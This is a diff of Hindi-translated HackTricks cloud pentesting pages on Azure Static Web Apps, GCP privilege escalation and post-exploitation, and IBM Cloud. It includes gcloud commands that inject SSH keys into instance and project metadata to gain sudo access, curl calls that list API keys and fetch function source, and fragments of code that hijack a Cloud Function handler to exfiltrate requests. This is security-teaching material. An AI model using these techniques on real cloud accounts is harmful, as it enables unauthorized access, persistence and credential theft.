<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
@@ -30,9 +30,9 @@ az rest --method GET \
```
हालांकि, यह **पासवर्ड को स्पष्ट पाठ में नहीं दिखाएगा**, केवल कुछ इस तरह: `"password": "**********************"`।
### Routes & Roles
### Routes और Roles
Routes **कैसे आने वाले HTTP अनुरोधों को संभाला जाता है** एक स्थिर वेब ऐप के भीतर को परिभाषित करते हैं। **`staticwebapp.config.json`** फ़ाइल में कॉन्फ़िगर किए गए, वे URL पुनर्लेखन, पुनर्निर्देशन, पहुँच प्रतिबंध, और भूमिका-आधारित प्राधिकरण को नियंत्रित करते हैं, उचित संसाधन प्रबंधन और सुरक्षा सुनिश्चित करते हैं।
Routes **कैसे आने वाले HTTP अनुरोधों को संभाला जाता है** एक स्थिर वेब ऐप के भीतर को परिभाषित करते हैं। **`staticwebapp.config.json`** फ़ाइल में कॉन्फ़िगर किए गए, वे URL पुनर्लेखन, पुनर्निर्देश, पहुँच प्रतिबंध, और भूमिका-आधारित प्राधिकरण को नियंत्रित करते हैं, उचित संसाधन प्रबंधन और सुरक्षा सुनिश्चित करते हैं।
कुछ उदाहरण:
```json
@@ -54,6 +54,11 @@ Routes **कैसे आने वाले HTTP अनुरोधों क
"route": "/admin",
"redirect": "/login",
"statusCode": 302
},
{
"route": "/google",
"redirect": "https://google.com",
"statusCode": 307
}
],
"navigationFallback": {
@@ -62,13 +67,17 @@ Routes **कैसे आने वाले HTTP अनुरोधों क
}
}
```
नोट करें कि **एक भूमिका के साथ एक पथ की सुरक्षा करना** संभव है, फिर, उपयोगकर्ताओं को ऐप में प्रमाणित होना होगा और उस पथ तक पहुँचने के लिए उस भूमिका को प्राप्त करना होगा। यह भी संभव है कि **विशिष्ट उपयोगकर्ताओं को विशिष्ट भूमिकाएँ देने के लिए निमंत्रण बनाए जाएं** जो EntraID, Facebook, GitHub, Google, Twitter के माध्यम से लॉगिन करते हैं, जो ऐप के भीतर विशेषाधिकार बढ़ाने के लिए उपयोगी हो सकता है।
नोट करें कि **एक भूमिका के साथ एक पथ की सुरक्षा करना** संभव है, फिर, उपयोगकर्ताओं को ऐप में प्रमाणित होना होगा और उस पथ तक पहुँचने के लिए उस भूमिका को दिया जाना होगा। यह भी संभव है कि **विशिष्ट उपयोगकर्ताओं को विशिष्ट भूमिकाएँ देने के लिए निमंत्रण बनाएँ** जो EntraID, Facebook, GitHub, Google, Twitter के माध्यम से लॉगिन करते हैं, जो ऐप के भीतर विशेषाधिकार बढ़ाने के लिए उपयोगी हो सकता है।
> [!TIP]
> ध्यान दें कि ऐप को इस तरह से कॉन्फ़िगर करना संभव है कि **`staticwebapp.config.json`** फ़ाइल में परिवर्तन स्वीकार नहीं किए जाते। इस मामले में, केवल GitHub से फ़ाइल को बदलना पर्याप्त नहीं हो सकता है, बल्कि **ऐप में सेटिंग को भी बदलना होगा**।
स्टेजिंग URL का यह प्रारूप है: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` जैसे: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
### स्निप्पेट्स
यह संभव है कि HTML स्निप्पेट्स को एक स्थिर वेब ऐप के अंदर संग्रहीत किया जाए जो ऐप के अंदर लोड होंगे। इसका उपयोग ऐप में **दुष्ट कोड** डालने के लिए किया जा सकता है, जैसे **क्रेडेंशियल चुराने के लिए JS कोड**, एक **कीलॉगर**... अधिक जानकारी विशेषाधिकार वृद्धि अनुभाग में है।
### प्रबंधित पहचान
Azure Static Web Apps को **प्रबंधित पहचान** का उपयोग करने के लिए कॉन्फ़िगर किया जा सकता है, हालाँकि, [इस FAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-) में उल्लेखित के अनुसार, वे केवल **प्रमाणीकरण उद्देश्यों के लिए Azure Key Vault से रहस्यों को निकालने के लिए समर्थित हैं, अन्य Azure संसाधनों तक पहुँचने के लिए नहीं**।
@@ -77,9 +86,8 @@ Azure Static Web Apps को **प्रबंधित पहचान** का
## गणना
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Static Webapps
az staticwebapp list --output table
@@ -100,6 +108,10 @@ az staticwebapp secrets list --name <name>
# Get invited users
az staticwebapp users list --name <name>
# Get current snippets
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/trainingdemo/snippets?api-version=2022-03-01"
# Get database connections
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
@@ -111,12 +123,10 @@ az rest --method POST \
# Check connected backends
az staticwebapp backends show --name <name> --resource-group <res-group>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.Websites
# Retrieves details of a specific Static Web App in the specified resource group.
@@ -159,9 +169,8 @@ Get-AzStaticWebAppUser -ResourceGroupName <ResourceGroupName> -Name <Name> -Auth
Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName <ResourceGroupName> -Name <Name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
## Web Apps बनाने के उदाहरण

8
src/pentesting-cloud/gcp-security/gcp-permissions-for-a-pentest.md
View File

@@ -1,9 +1,11 @@
# GCP - Permissions for a Pentest
{{#include ../../banners/hacktricks-training.md}}
यदि आप GCP वातावरण का परीक्षण करना चाहते हैं, तो आपको **GCP** में उपयोग की जाने वाली **सभी या अधिकांश सेवाओं** की जांच करने के लिए पर्याप्त अनुमतियाँ मांगनी चाहिए। आदर्श रूप से, आपको ग्राहक से यह करने के लिए कहना चाहिए:
* **एक** नया **प्रोजेक्ट** **बनाएँ**
* उस प्रोजेक्ट के अंदर **एक सेवा खाता** **बनाएँ** ( **json प्रमाणपत्र** प्राप्त करें) या **एक नया उपयोगकर्ता** **बनाएँ**।
* **एक नया** **प्रोजेक्ट** **बनाएँ**
* उस प्रोजेक्ट के अंदर **एक सेवा खाता** **बनाएँ** ( **json प्रमाणपत्र** प्राप्त करें) या **एक नया उपयोगकर्ता** बनाएँ।
* **सेवा खाते** या **उपयोगकर्ता** को ORGANIZATION पर बाद में उल्लेखित **भूमिकाएँ** **देें**
* बनाए गए प्रोजेक्ट में इस पोस्ट में बाद में उल्लेखित **APIs** को **सक्षम** करें
@@ -129,4 +131,4 @@ roles/iam.securityReviewer
roles/iam.organizationRoleViewer
roles/bigquery.metadataViewer
```
{{#include ../../banners/hacktricks-training.md}}

2
src/pentesting-cloud/gcp-security/gcp-persistence/README.md
View File

@@ -1 +1,3 @@
# GCP - स्थिरता
{{#include ../../../banners/hacktricks-training.md}}

2
src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md
View File

@@ -1 +1,3 @@
# GCP - पोस्ट एक्सप्लॉइटेशन
{{#include ../../../banners/hacktricks-training.md}}

18
src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md
View File

@@ -1,10 +1,10 @@
# GCP - क्लाउड फ़ंक्शंस पोस्ट एक्सप्लॉइटेशन
# GCP - Cloud Functions Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## क्लाउड फ़ंक्शंस
## Cloud Functions
क्लाउड फ़ंक्शंस के बारे में कुछ जानकारी प्राप्त करें:
Cloud Functions के बारे में कुछ जानकारी प्राप्त करें:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -12,18 +12,18 @@
### `cloudfunctions.functions.sourceCodeGet`
इस अनुमति के साथ आप **क्लाउड फ़ंक्शन के स्रोत कोड को डाउनलोड करने के लिए एक साइन किया हुआ URL प्राप्त कर सकते हैं**:
इस अनुमति के साथ आप **Cloud Function के स्रोत कोड को डाउनलोड करने के लिए एक साइन किया हुआ URL प्राप्त कर सकते हैं**:
```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
### क्लाउड फ़ंक्शन अनुरोध चुराना
### Cloud Function अनुरोध चुराना
यदि क्लाउड फ़ंक्शन संवेदनशील जानकारी का प्रबंधन कर रहा है जो उपयोगकर्ता भेज रहे हैं (जैसे पासवर्ड या टोकन), तो पर्याप्त विशेषाधिकार के साथ आप **फ़ंक्शन के स्रोत कोड को संशोधित कर सकते हैं और इस जानकारी को निकाल सकते हैं**।
यदि Cloud Function संवेदनशील जानकारी का प्रबंधन कर रहा है जो उपयोगकर्ता भेज रहे हैं (जैसे पासवर्ड या टोकन), तो पर्याप्त विशेषाधिकार के साथ आप **फंक्शन का स्रोत कोड संशोधित कर सकते हैं और इस जानकारी को एक्सफिल्ट्रेट** कर सकते हैं।
इसके अलावा, पायथन में चलने वाले क्लाउड फ़ंक्शन **फ्लास्क** का उपयोग करते हैं ताकि वेब सर्वर को उजागर किया जा सके, यदि आप किसी तरह फ्लास्क प्रक्रिया के अंदर कोड इंजेक्शन की भेद्यता (उदाहरण के लिए SSTI भेद्यता) खोज लेते हैं, तो यह संभव है कि आप **फ़ंक्शन हैंडलर को ओवरराइड करें** जो HTTP अनुरोध प्राप्त करने जा रहा है एक **दुष्ट फ़ंक्शन** के लिए जो **अनुरोध को निकाल सकता है** इससे पहले कि इसे वैध हैंडलर को सौंपा जाए।
इसके अलावा, python में चलने वाले Cloud Functions **flask** का उपयोग करते हैं ताकि वेब सर्वर को उजागर किया जा सके, यदि आप किसी तरह फ्लास्क प्रक्रिया के अंदर कोड इंजेक्शन की कमजोरी (उदाहरण के लिए SSTI कमजोरी) खोज लेते हैं, तो यह संभव है कि आप **फंक्शन हैंडलर को ओवरराइड** कर सकें जो HTTP अनुरोध प्राप्त करने जा रहा है एक **दुष्ट फंक्शन** के लिए जो **अनुरोध को एक्सफिल्ट्रेट** कर सकता है इससे पहले कि इसे वैध हैंडलर को पास किया जाए।
उदाहरण के लिए, यह कोड हमले को लागू करता है:
```python
@@ -98,7 +98,7 @@ return "/tmp/function.py doesn't exists"
# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (main.py by default)
realpath = os.path.realpath(source_path) # Get full path
# Get the modules representations
@@ -122,4 +122,4 @@ return "Injection completed!"
except Exception as e:
return str(e)
```
{{#include ../../../banners/hacktricks-training.md}}

48
src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md
View File

@@ -1,33 +1,31 @@
# GCP - कस्टम SSH मेटाडेटा जोड़ें
## GCP - कस्टम SSH मेटाडेटा जोड़ें
# GCP - Add Custom SSH Metadata
{{#include ../../../../banners/hacktricks-training.md}}
### मेटाडेटा को संशोधित करना <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
## Metadata को संशोधित करना <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
एक उदाहरण पर मेटाडेटा संशोधन **महत्वपूर्ण सुरक्षा जोखिमों** का कारण बन सकता है यदि एक हमलावर आवश्यक अनुमतियाँ प्राप्त कर लेता है।
एक इंस्टेंस पर मेटाडेटा का संशोधन **महत्वपूर्ण सुरक्षा जोखिमों** का कारण बन सकता है यदि एक हमलावर आवश्यक अनुमतियाँ प्राप्त कर लेता है।
#### **कस्टम मेटाडेटा में SSH कुंजियों का समावेश**
### **कस्टम मेटाडेटा में SSH कुंजियों का समावेश**
GCP पर, **Linux सिस्टम** अक्सर [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) से स्क्रिप्ट निष्पादित करते हैं। इसका एक महत्वपूर्ण घटक [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) है, जिसे **नियमित रूप से** उदाहरण मेटाडेटा एंडपॉइंट की **अधिकार प्राप्त SSH सार्वजनिक कुंजियों** के लिए **अपडेट** की जांच करने के लिए डिज़ाइन किया गया है।
GCP पर, **Linux सिस्टम** अक्सर [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) से स्क्रिप्ट चलाते हैं। इसका एक महत्वपूर्ण घटक [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) है, जिसे **नियमित रूप से** इंस्टेंस मेटाडेटा एंडपॉइंट की **अधिकृत SSH सार्वजनिक कुंजियों** के लिए **अपडेट** की जांच करने के लिए डिज़ाइन किया गया है।
इसलिए, यदि एक हमलावर कस्टम मेटाडेटा को संशोधित कर सकता है, तो वह डेमन को एक नई सार्वजनिक कुंजी खोजने के लिए मजबूर कर सकता है, जिसे संसाधित किया जाएगा और **स्थानीय सिस्टम में एकीकृत किया जाएगा**। कुंजी को एक **मौजूदा उपयोगकर्ता के `~/.ssh/authorized_keys` फ़ाइल** में जोड़ा जाएगा या `sudo` अनुमतियों के साथ एक नए उपयोगकर्ता को संभावित रूप से बनाया जाएगा, कुंजी के प्रारूप के आधार पर। और हमलावर होस्ट को समझौता करने में सक्षम होगा।
#### **मौजूदा विशेषाधिकार प्राप्त उपयोगकर्ता के लिए SSH कुंजी जोड़ें**
### **मौजूदा विशेषाधिकार प्राप्त उपयोगकर्ता के लिए SSH कुंजी जोड़ें**
1. **उदाहरण पर मौजूदा SSH कुंजियों की जांच करें:**
1. **इंस्टेंस पर मौजूदा SSH कुंजियों की जांच करें:**
- मौजूदा SSH कुंजियों को खोजने के लिए उदाहरण और इसके मेटाडेटा का वर्णन करने के लिए कमांड निष्पादित करें। आउटपुट में प्रासंगिक अनुभाग `metadata` के तहत होगा, विशेष रूप से `ssh-keys` कुंजी के तहत।
- मौजूदा SSH कुंजियों को खोजने के लिए इंस्टेंस और इसके मेटाडेटा का वर्णन करने के लिए कमांड निष्पादित करें। आउटपुट में प्रासंगिक अनुभाग `metadata` के तहत होगा, विशेष रूप से `ssh-keys` कुंजी के तहत।
```bash
gcloud compute instances describe [INSTANCE] --zone [ZONE]
```
- SSH कुंजियों के प्रारूप पर ध्यान दें: उपयोगकर्ता नाम कुंजी से पहले आता है, जो एक कोलन द्वारा अलग होता है।
- SSH कुंजियों के प्रारूप पर ध्यान दें: उपयोगकर्ता नाम कुंजी से पहले आता है, जो एक कोलन द्वारा अलग किया जाता है।
2. **SSH कुंजी मेटाडेटा के लिए एक टेक्स्ट फ़ाइल तैयार करें:**
- उपयोगकर्ता नाम और उनके संबंधित SSH कुंजियों के विवरण को `meta.txt` नामक टेक्स्ट फ़ाइल में सहेजें। यह नए कुंजियों को जोड़ते समय मौजूदा कुंजियों को बनाए रखने के लिए आवश्यक है।
- उपयोगकर्ता नाम और उनकी संबंधित SSH कुंजियों के विवरण को `meta.txt` नामक टेक्स्ट फ़ाइल में सहेजें। यह नए कुंजियों को जोड़ते समय मौजूदा कुंजियों को बनाए रखने के लिए आवश्यक है।
3. **लक्षित उपयोगकर्ता के लिए एक नई SSH कुंजी उत्पन्न करें (`alice` इस उदाहरण में):**
- `ssh-keygen` कमांड का उपयोग करके एक नई SSH कुंजी उत्पन्न करें, यह सुनिश्चित करते हुए कि टिप्पणी फ़ील्ड (`-C`) लक्षित उपयोगकर्ता नाम से मेल खाता है।
@@ -36,26 +34,26 @@ gcloud compute instances describe [INSTANCE] --zone [ZONE]
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
```
- नई सार्वजनिक कुंजी को `meta.txt` में जोड़ें, उदाहरण के मेटाडेटा में पाए गए प्रारूप की नकल करते हुए।
- नई सार्वजनिक कुंजी को `meta.txt` में जोड़ें, इंस्टेंस के मेटाडेटा में पाए गए प्रारूप की नकल करते हुए।
4. **उदाहरण की SSH कुंजी मेटाडेटा को अपडेट करें:**
4. **इंस्टेंस की SSH कुंजी मेटाडेटा को अपडेट करें:**
- `gcloud compute instances add-metadata` कमांड का उपयोग करके उदाहरण पर अपडेट की गई SSH कुंजी मेटाडेटा लागू करें।
- `gcloud compute instances add-metadata` कमांड का उपयोग करके इंस्टेंस पर अपडेट की गई SSH कुंजी मेटाडेटा लागू करें।
```bash
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
```
5. **नई SSH कुंजी का उपयोग करके उदाहरण तक पहुँचें:**
5. **नई SSH कुंजी का उपयोग करके इंस्टेंस तक पहुँचें:**
- लक्षित उपयोगकर्ता (`alice` इस उदाहरण में) के संदर्भ में शेल तक पहुँचने के लिए नई कुंजी का उपयोग करके SSH के साथ उदाहरण से कनेक्ट करें।
- लक्षित उपयोगकर्ता (`alice` इस उदाहरण में) के संदर्भ में शेल तक पहुँचने के लिए नई कुंजी का उपयोग करके SSH के साथ इंस्टेंस से कनेक्ट करें।
```bash
ssh -i ./key alice@localhost
sudo id
```
#### **एक नया विशेषाधिकार प्राप्त उपयोगकर्ता बनाएं और SSH कुंजी जोड़ें**
### **एक नया विशेषाधिकार प्राप्त उपयोगकर्ता बनाएं और SSH कुंजी जोड़ें**
यदि कोई दिलचस्प उपयोगकर्ता नहीं मिलता है, तो एक नया उपयोगकर्ता बनाया जा सकता है जिसे `sudo` अनुमतियाँ दी जाएंगी:
```bash
@@ -75,21 +73,21 @@ gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-k
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
```
#### SSH keys at project level <a href="#sshing-around" id="sshing-around"></a>
### SSH keys at project level <a href="#sshing-around" id="sshing-around"></a>
क्लाउड वातावरण में कई वर्चुअल मशीनों (VMs) तक SSH पहुंच को बढ़ाने के लिए **परियोजना स्तर पर SSH कुंजी लागू करना** संभव है। यह दृष्टिकोण परियोजना के भीतर किसी भी उदाहरण तक SSH पहुंच की अनुमति देता है जिसने स्पष्ट रूप से परियोजना-व्यापी SSH कुंजी को अवरुद्ध नहीं किया है। यहाँ एक संक्षिप्त मार्गदर्शिका है:
SSH एक्सेस के दायरे को क्लाउड वातावरण में कई वर्चुअल मशीनों (VMs) तक बढ़ाना संभव है **प्रोजेक्ट स्तर पर SSH कुंजी लागू करके**। यह दृष्टिकोण प्रोजेक्ट के भीतर किसी भी इंस्टेंस को SSH एक्सेस की अनुमति देता है जिसने स्पष्ट रूप से प्रोजेक्ट-व्यापी SSH कुंजी को ब्लॉक नहीं किया है। यहाँ एक संक्षिप्त मार्गदर्शिका है:
1. **परियोजना स्तर पर SSH कुंजी लागू करें:**
1. **प्रोजेक्ट स्तर पर SSH कुंजी लागू करें:**
- `gcloud compute project-info add-metadata` कमांड का उपयोग करके `meta.txt` से SSH कुंजी को परियोजना की मेटाडेटा में जोड़ें। यह क्रिया सुनिश्चित करती है कि SSH कुंजी परियोजना में सभी VMs के बीच मान्यता प्राप्त हैं, जब तक कि किसी VM में "ब्लॉक प्रोजेक्ट-व्यापी SSH कुंजी" विकल्प सक्षम नहीं है।
- `gcloud compute project-info add-metadata` कमांड का उपयोग करके `meta.txt` से SSH कुंजी को प्रोजेक्ट के मेटाडेटा में जोड़ें। यह क्रिया सुनिश्चित करती है कि SSH कुंजी प्रोजेक्ट में सभी VMs के बीच मान्यता प्राप्त हैं, जब तक कि किसी VM में "Block project-wide SSH keys" विकल्प सक्षम नहीं है।
```bash
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
```
2. **परियोजना-व्यापी कुंजी का उपयोग करके उदाहरणों में SSH करें:**
- परियोजना-व्यापी SSH कुंजी के साथ, आप परियोजना के भीतर किसी भी उदाहरण में SSH कर सकते हैं। जो उदाहरण परियोजना-व्यापी कुंजी को अवरुद्ध नहीं करते हैं, वे SSH कुंजी को स्वीकार करेंगे, जिससे पहुंच प्राप्त होगी।
- किसी उदाहरण में SSH करने का एक सीधा तरीका `gcloud compute ssh [INSTANCE]` कमांड का उपयोग करना है। यह कमांड आपके वर्तमान उपयोगकर्ता नाम और परियोजना स्तर पर सेट की गई SSH कुंजी का उपयोग करके पहुंच प्राप्त करने का प्रयास करता है।
2. **प्रोजेक्ट-व्यापी कुंजी का उपयोग करके इंस्टेंस में SSH करें:**
- प्रोजेक्ट-व्यापी SSH कुंजी के साथ, आप प्रोजेक्ट के भीतर किसी भी इंस्टेंस में SSH कर सकते हैं। जो इंस्टेंस प्रोजेक्ट-व्यापी कुंजी को ब्लॉक नहीं करते हैं, वे SSH कुंजी को स्वीकार करेंगे, जिससे एक्सेस मिलेगा।
- किसी इंस्टेंस में SSH करने का एक सीधा तरीका `gcloud compute ssh [INSTANCE]` कमांड का उपयोग करना है। यह कमांड आपके वर्तमान उपयोगकर्ता नाम और प्रोजेक्ट स्तर पर सेट की गई SSH कुंजी का उपयोग करके एक्सेस करने का प्रयास करता है।
## References

16
src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md
View File

@@ -4,9 +4,9 @@
## serviceusage
निम्नलिखित अनुमतियाँ API कुंजी बनाने और चुराने के लिए उपयोगी हैं, इसे दस्तावेज़ों से नोट करें: _एक API कुंजी एक सरल एन्क्रिप्टेड स्ट्रिंग है जो **किसी भी प्रिंसिपल के बिना एक एप्लिकेशन की पहचान करती है**। ये **सार्वजनिक डेटा को गुमनाम रूप से** एक्सेस करने के लिए उपयोगी हैं, और **कोटा** और **बिलिंग** के लिए आपके प्रोजेक्ट के साथ API अनुरोधों को **संयुक्त** करने के लिए उपयोग की जाती हैं।_
निम्नलिखित अनुमतियाँ API कुंजी बनाने और चुराने के लिए उपयोगी हैं, दस्तावेज़ से यह नोट करें: _एक API कुंजी एक सरल एन्क्रिप्टेड स्ट्रिंग है जो **किसी भी प्रिंसिपल के बिना एक एप्लिकेशन की पहचान करती है**। ये **सार्वजनिक डेटा को गुमनाम रूप से** एक्सेस करने के लिए उपयोगी हैं, और आपके प्रोजेक्ट के लिए कोटा और **बिलिंग** के लिए API अनुरोधों को **संयुक्त** करने के लिए उपयोग की जाती हैं।_
इसलिए, एक API कुंजी के साथ आप उस कंपनी को अपने API के उपयोग के लिए भुगतान करवा सकते हैं, लेकिन आप विशेषाधिकारों को बढ़ाने में सक्षम नहीं होंगे।
इसलिए, एक API कुंजी के साथ आप उस कंपनी को API के आपके उपयोग के लिए भुगतान करवा सकते हैं, लेकिन आप विशेषाधिकारों को बढ़ाने में सक्षम नहीं होंगे।
अन्य अनुमतियों और API कुंजी उत्पन्न करने के तरीकों को जानने के लिए देखें:
@@ -22,13 +22,13 @@ curl -XPOST "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>
```
### `serviceusage.apiKeys.list`
एक और अप्रलेखित API मिली जो पहले से बनाए गए API कुंजी की सूची बनाने के लिए है (API कुंजी प्रतिक्रिया में दिखाई देती हैं):
एक और अप्रलेखित API मिली जो पहले से बनाए गए API कुंजियों की सूची बनाने के लिए है (API कुंजियाँ प्रतिक्रिया में दिखाई देती हैं):
```bash
curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
```
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
इन अनुमतियों के साथ, एक हमलावर प्रोजेक्ट में नए सेवाओं को सक्षम और उपयोग कर सकता है। यह एक **हमलावर को admin या cloudidentity जैसी सेवाओं को सक्षम करने की अनुमति दे सकता है** ताकि वह Workspace जानकारी तक पहुँचने की कोशिश कर सके, या अन्य सेवाओं के माध्यम से दिलचस्प डेटा तक पहुँच सके।
इन अनुमतियों के साथ, एक हमलावर प्रोजेक्ट में नई सेवाओं को सक्षम और उपयोग कर सकता है। इससे एक **हमलावर को admin या cloudidentity जैसी सेवाओं को सक्षम करने की अनुमति मिल सकती है** ताकि वह Workspace की जानकारी तक पहुँचने की कोशिश कर सके, या अन्य सेवाओं के माध्यम से दिलचस्प डेटा तक पहुँच सके।
## **References**
@@ -38,16 +38,20 @@ curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKey
<summary><strong>Support HackTricks and get benefits!</strong></summary>
क्या आप एक **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित होते देखना चाहते हैं**? या क्या आप **PEASS का नवीनतम संस्करण देखने या HackTricks को PDF में डाउनलोड करने** का अधिकार चाहते हैं? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
क्या आप एक **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित होते देखना चाहते हैं**? या क्या आप **PEASS का नवीनतम संस्करण देखने या HackTricks को PDF में डाउनलोड करने** की इच्छा रखते हैं? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
[**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
[**official PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) में शामिल हों या **Twitter** पर मुझे **फॉलो करें** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) या **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
**.**
</details>
{{#include ../../../banners/hacktricks-training.md}}

2
src/pentesting-cloud/gcp-security/gcp-services/README.md
View File

@@ -1 +1,3 @@
# GCP - सेवाएँ
{{#include ../../../banners/hacktricks-training.md}}

16
src/pentesting-cloud/ibm-cloud-pentesting/README.md
View File

@@ -1,29 +1,27 @@
# IBM Cloud Pentesting
## IBM Cloud Pentesting
{{#include ../../banners/hacktricks-training.md}}
### IBM क्लाउड क्या है? (By chatGPT)
## IBM क्लाउड क्या है? (By chatGPT)
IBM Cloud, IBM द्वारा एक क्लाउड कंप्यूटिंग प्लेटफॉर्म, विभिन्न क्लाउड सेवाएँ प्रदान करता है जैसे कि इन्फ्रास्ट्रक्चर एज़ ए सर्विस (IaaS), प्लेटफॉर्म एज़ ए सर्विस (PaaS), और सॉफ़्टवेयर एज़ ए सर्विस (SaaS)। यह ग्राहकों को अनुप्रयोगों को तैनात और प्रबंधित करने, डेटा संग्रहण और विश्लेषण को संभालने, और क्लाउड में वर्चुअल मशीनों को संचालित करने की अनुमति देता है।
IBM Cloud, IBM द्वारा एक क्लाउड कंप्यूटिंग प्लेटफॉर्म, विभिन्न क्लाउड सेवाएँ प्रदान करता है जैसे कि इन्फ्रास्ट्रक्चर एज़ अ सर्विस (IaaS), प्लेटफॉर्म एज़ अ सर्विस (PaaS), और सॉफ़्टवेयर एज़ अ सर्विस (SaaS)। यह ग्राहकों को अनुप्रयोगों को तैनात और प्रबंधित करने, डेटा संग्रहण और विश्लेषण करने, और क्लाउड में वर्चुअल मशीनों को संचालित करने की अनुमति देता है।
जब इसे Amazon Web Services (AWS) के साथ तुलना की जाती है, तो IBM Cloud कुछ विशिष्ट विशेषताएँ और दृष्टिकोण प्रदर्शित करता है:
1. **फोकस**: IBM Cloud मुख्य रूप से उद्यम ग्राहकों की सेवा करता है, उनके विशिष्ट आवश्यकताओं के लिए डिज़ाइन की गई सेवाओं का एक सूट प्रदान करता है, जिसमें सुरक्षा और अनुपालन उपायों को बढ़ाया गया है। इसके विपरीत, AWS विविध ग्राहकों के लिए क्लाउड सेवाओं का एक विस्तृत स्पेक्ट्रम प्रस्तुत करता है।
2. **हाइब्रिड क्लाउड समाधान**: IBM Cloud और AWS दोनों हाइब्रिड क्लाउड सेवाएँ प्रदान करते हैं, जो ऑन-प्रिमाइसेस इन्फ्रास्ट्रक्चर को उनकी क्लाउड सेवाओं के साथ एकीकृत करने की अनुमति देते हैं। हालाँकि, प्रत्येक द्वारा प्रदान की गई विधि और सेवाएँ भिन्न होती हैं।
1. **फोकस**: IBM Cloud मुख्य रूप से उद्यम ग्राहकों की सेवा करता है, उनके विशिष्ट आवश्यकताओं के लिए डिज़ाइन की गई सेवाओं का एक सूट प्रदान करता है, जिसमें सुरक्षा और अनुपालन उपायों में सुधार शामिल है। इसके विपरीत, AWS विविध ग्राहकों के लिए क्लाउड सेवाओं का एक विस्तृत स्पेक्ट्रम प्रस्तुत करता है।
2. **हाइब्रिड क्लाउड समाधान**: IBM Cloud और AWS दोनों हाइब्रिड क्लाउड सेवाएँ प्रदान करते हैं, जो ऑन-प्रिमाइसेस इन्फ्रास्ट्रक्चर को उनकी क्लाउड सेवाओं के साथ एकीकृत करने की अनुमति देते हैं। हालाँकि, प्रत्येक द्वारा प्रदान की गई पद्धति और सेवाएँ भिन्न होती हैं।
